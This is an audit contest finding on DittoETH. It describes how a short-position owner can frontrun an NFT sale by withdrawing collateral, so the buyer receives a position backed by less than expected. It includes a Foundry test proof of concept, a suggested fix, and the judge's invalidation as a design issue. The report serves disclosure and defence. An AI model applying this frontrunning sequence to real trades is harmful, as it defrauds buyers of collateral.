DittoETH
Ditto
DeFiFoundryOracle
55,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

NFT transfer can be frontrun by current owner

shaka

Summary

The transfer of NFTs representing short positions can be frontrun by the current owner of the short position, allowing them to transfer a short position that is less collateralized than expected.

Vulnerability Details

The protocol allows shorters to mint NFTs that represent their short positions and transfer these NFTs. This opens the possibility of trading short positions in secondary markets.

The protocol applies some restrictions to the transfer of NFTs, not allowing the transfer of NFTs that represent short positions that have been flagged for liquidation or that are closed. This is probably done to protect the recipient of the NFT from receiving a short position that is about to be liquidated or that is not active.

However, there is still a risk of frontrunning when transferring NFTs that represent short positions. The following scenario illustrates this risk:

  1. Alice creates a short position.

  2. Alice mints an NFT that represents the short position and puts it up for sale.

  3. Bob buys the NFT, but Alice frontruns the transaction from the marketplace and decreases the amount of collateral for the short position.

  4. Bob receives the NFT and, with it, the short position that is backed by less collateral than expected.

Proof of Concept

Add the following code snippet into test/Shorts.t.sol and run forge test --mt testFrontrunNftTransfer.

import {MTypes, O} from "contracts/libraries/DataTypes.sol";
​
(...)
​
function testFrontrunNftTransfer() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address marketplace = makeAddr("marketplace");
​
uint80 price = 0.00025 ether;
uint88 amount = 10_000 ether;
​
// User creates bid
depositEth(receiver, price.mulU88(amount));
MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitBid);
uint16[] memory shortHintArray = setShortHintArray();
vm.prank(receiver);
diamond.createBid(asset, price, amount, Constants.LIMIT_ORDER, orderHintArray, shortHintArray);
​
// Alice creates short
uint16 initialMargin = 1000;
depositEth(alice, price.mulU88(amount) * 10);
shortHintArray = setShortHintArray();
orderHintArray = diamond.getHintArray(asset, price, O.LimitShort);
vm.startPrank(alice);
diamond.createLimitShort(asset, price, amount, orderHintArray, shortHintArray, initialMargin);
​
// Alice mints NFT and puts it up for sale
diamond.mintNFT(asset, Constants.SHORT_STARTING_ID);
diamond.approve(marketplace, 1);
vm.stopPrank();
​
// The short position is backed by 27.5 ETH of collateral
STypes.NFT memory nft = diamond.getNFT(1);
STypes.ShortRecord memory shortRecord = getShortRecord(nft.owner, nft.shortRecordId);
assertEq(nft.owner, alice);
assertEq(shortRecord.collateral, 27.5 ether);
​
// Bob buys the NFT, but Alice frontruns the transaction from the marketplace and decreases
// the amount of collateral for the short position
vm.prank(alice);
diamond.decreaseCollateral(asset, nft.shortRecordId, 15 ether);
vm.prank(marketplace);
diamond.transferFrom(alice, bob, 1);
​
// Bob was expecting to be transferred a short position backed by 27.5 ETH of collateral, but
// instead he received a short position backed by 12.5 ETH
nft = diamond.getNFT(1);
shortRecord = getShortRecord(nft.owner, nft.shortRecordId);
assertEq(nft.owner, bob);
assertEq(shortRecord.collateral, 12.5 ether);
}

Impact

The recipient of an NFT that represents a short position can be frontrun and receive a short position that is backed by less collateral than expected.

Tools Used

Manual review.

Recommendations

Add a property similar to updateAt that is updated with all changes to the short position and, when transferFrom is called, check that the last update to the short position wasn't made in a given period or, at least, in the same block. This check could be performed only when msg.sender is not the owner of the short position.

Updates

Lead Judging Commences

0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: User experience and design improvement
shaka Submitter
almost 2 years ago
0xnevi Lead Judge
almost 2 years ago
shaka Submitter
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: User experience and design improvement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.